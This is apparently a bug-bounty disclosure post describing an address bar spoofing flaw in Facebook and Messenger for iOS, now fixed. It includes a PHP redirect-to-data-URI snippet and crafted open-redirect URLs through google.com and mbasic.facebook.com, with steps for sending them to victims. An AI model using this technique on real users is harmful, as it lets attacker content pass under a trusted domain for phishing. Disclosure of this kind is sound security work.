Post

FB & Messenger for iOS : Address Bar spoofing using data uri

Summary: Facebook & Messenger for iOS was vulnerable to Address Bar spoofing which was be reproduced by navigating from target domain to attackers domain.

Attackers domain was able to set location to data:text/html,<script>…</script> using location header, so it was executed in context while keeping target domain in url bar.


Steps to reproduce:

1
2
3
4
5
Setup:   
FBiOS: 229.0  
MessengerForiOS: 223.0  
Device: iPhone 6s  
OS: 12.3.1
  • create php file with below code snippet:
1
2
<?php
header("Location: data:text/html,<script>document.write('<h1>Rahul Kankrale: URL spoofing using Data Uri</h1>')</script>");?>

and save/host it on server.

  • To spoof Facebook domain chain exploit URL like below:
    https://www.google.com/url?q=https%3A%2F%2Fmbasic.facebook.com%2Fmessagingconfirmation%3Faction_url%3Dhttps%3A%2F%2Fyourmain%2Fexploit.php

    or to spoof google domain

    https://www.google.com/url?q=https%3A%2F%2Fyourmain%2Fexploit.php

  • By sending those crafted URL to victim through messenger or posting Facebook wall, whenever victim opens google redirect page and click on redirecting url & for facebook poc once message delete page open click on delete button address bar sets to target domain with SSL while content is generated by data uri.

Proof of concept:

Timeline:

  • 14/07/2019: Reported to Facebook bugbounty.
  • 16/07/2019: Pre-Triaged
  • 19/08/2019: Triaged
  • 30/09/2019: Fixed in FB
  • 29/10/2019: Rewarded $1500 for FB(iOS) issue
  • 22/01/2020: Fixed & Rewarded $1500 for Messenger(iOS) issue

Thanks

This post is licensed under CC BY 4.0 by the author.